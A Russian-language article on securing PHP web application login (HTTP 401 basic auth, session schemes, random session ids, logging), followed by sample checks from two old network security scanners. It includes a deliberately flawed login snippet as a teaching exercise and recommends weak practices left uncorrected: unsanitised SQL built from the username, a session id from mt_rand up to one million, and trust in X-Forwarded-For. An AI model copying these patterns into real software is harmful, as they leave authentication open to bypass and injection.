Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:



if (!isset($PHP_AUTH_USER)) { Header("WWW-Authenticate: Basic realm=\"My Realm\""); Header("HTTP/1.0 401 Unauthorized"); exit; }

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.

$sql_statement="select password from peoples where name='$PHP_AUTH_USER'"; $result = mysql($dbname, $sql_statement); $rpassword = mysql_result($result,0,'password'); $sql_statement = "select password('$PHP_AUTH_PW')"; $result = mysql($dbname, $sql_statement); $password = mysql_result($result,0); if ($password != $rpassword) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm=\"My Realm\""); exit; }

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов. Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:

if (mysql_numrows($result) != 1) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm=\"My Realm\""); exit; }



То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля. Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы. Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).

Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально. Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid. Рассмотрим ее более подробно.



После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:

mt_srand((double)microtime()*1000000); $uid=mt_rand(1,1000000);

Это число он:

а) заносит в локальный список авторизовавшихся пользователей;

б) Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:

<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he-he...".

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером. Естественно - если прокси это позволяет.

При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.

P.S. Выражаю глубокую благодарность Козину Максиму (madmax@express.ru) за рецензирование данной статьи и ряд весьма ценных дополнений.

Пример проверки, осуществляемой системой WebTrends Security Analyzer

<TestAuthor> WebTrends Corporation </TestAuthor>

<TestCopyright> Copyright 1998, WebTrends Corporation, All Rights Reserved. </TestCopyright>

<TestVersion> 2.0 </TestVersion>

====================================================================

<TestDependency>estabvc</TestDependency>

<TestCategory>inventory</TestCategory>

====================================================================

<TestTitle>Query OS Type via Netbios</TestTitle>

<TestVulnerabilityDescription>

This test attempts to determine the operating system type and version running on

the specified hosts.

</TestVulnerabilityDescription>

====================================================================

<Test>

# osdetectnt.pl

# attempt to detect OS using a netbios over tcp/ip call

require "crowbar.pl";

$theTargetNetbiosName = GetStringParam($crowbar::WTDB_NetbiosName);

crowbar::WTDebugOutput("OSDetect -- the target netbios name is $theTargetNetbiosName");

if($theTargetNetbiosName){

$a = crowbar::WTGetNTOSInfo($theTargetNetbiosName);

if($a){

$a =~ /^OSTYPE (.*):VERSION (.*)/;

$type = $1;

$version = $2;

crowbar::WTDebugOutput("Type is $type, version is $version\n");

if($version =~ m/OSVersion_Unknown/){

crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length("Unknown") + 1, "Unknown", -1);

}

elsif($version =~ m/OSVersion_WindowsNT_3_5_0/){

crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length("Version 3.5") + 1, "Version 3.5", -1);

}

elsif($version =~ m/OSVersion_WindowsNT_3_5_1/){

crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length("Version 3.51") + 1, "Version 3.51", -1);

}

elsif($version =~ m/OSVersion_WindowsNT_4_0/){

crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length("Version 4.0") + 1, "Version 4.0", -1);

}

elsif($version =~ m/OSVersion_WindowsNT_5_0/){

crowbar::WTAddRecord( $crowbar::WTDB_OSVersion, length("Version 5.0") + 1, "Version 5.0", -1);

}

if($type =~ m/OSType_Unknown/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Unknown") + 1, "Unknown", -1);

}

elsif($type =~ m/OSType_Unix/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Unix Server") + 1, "Unix Server", -1);

}

elsif($type =~ m/OSType_WindowsNTServer/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows NT Server") + 1, "Windows NT Server", -1);

}

elsif($type =~ m/OSType_WindowsNTPDC/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length(" Windows NT Primary Domain Controller") + 1, "Windows NT Primary Domain Controller", -1);

}

elsif($type =~ m/OSType_WindowsNTBDC/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows NT Backup Domain Controller") + 1, "Windows NT Backup Domain Controller", -1);

}

elsif($type =~ m/OSType_WindowsNTWorkstation/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows NT Workstation") + 1, "Windows NT Workstation", -1);

}

elsif($type =~ m/OSType_WindowsNT/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows NT") + 1, "Windows NT", -1);

}

elsif($type =~ m/OSType_Windows95/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows 95/98") + 1, "Windows 95/98", -1);

}

elsif($type =~ m/OSType_Windows98/){

crowbar::WTAddRecord( $crowbar::WTDB_OSType, length("Windows 98") + 1, "Windows 98", -1);

}

}

}

</Test>

Пример проверки, осуществляемой системой CyberCop CASL

# spoof_check.cape

# this script is used by the built-in filter checks

# please do not modify it

ip

ip_version=4

ip_proto=IPPROTO_UDP

ip_flags=0

ip_id=42

ip_done

udp

udp_sport=6834

udp_dport=5574

udp_done

data=SAS-ipspoofing

end_of_packet

---

---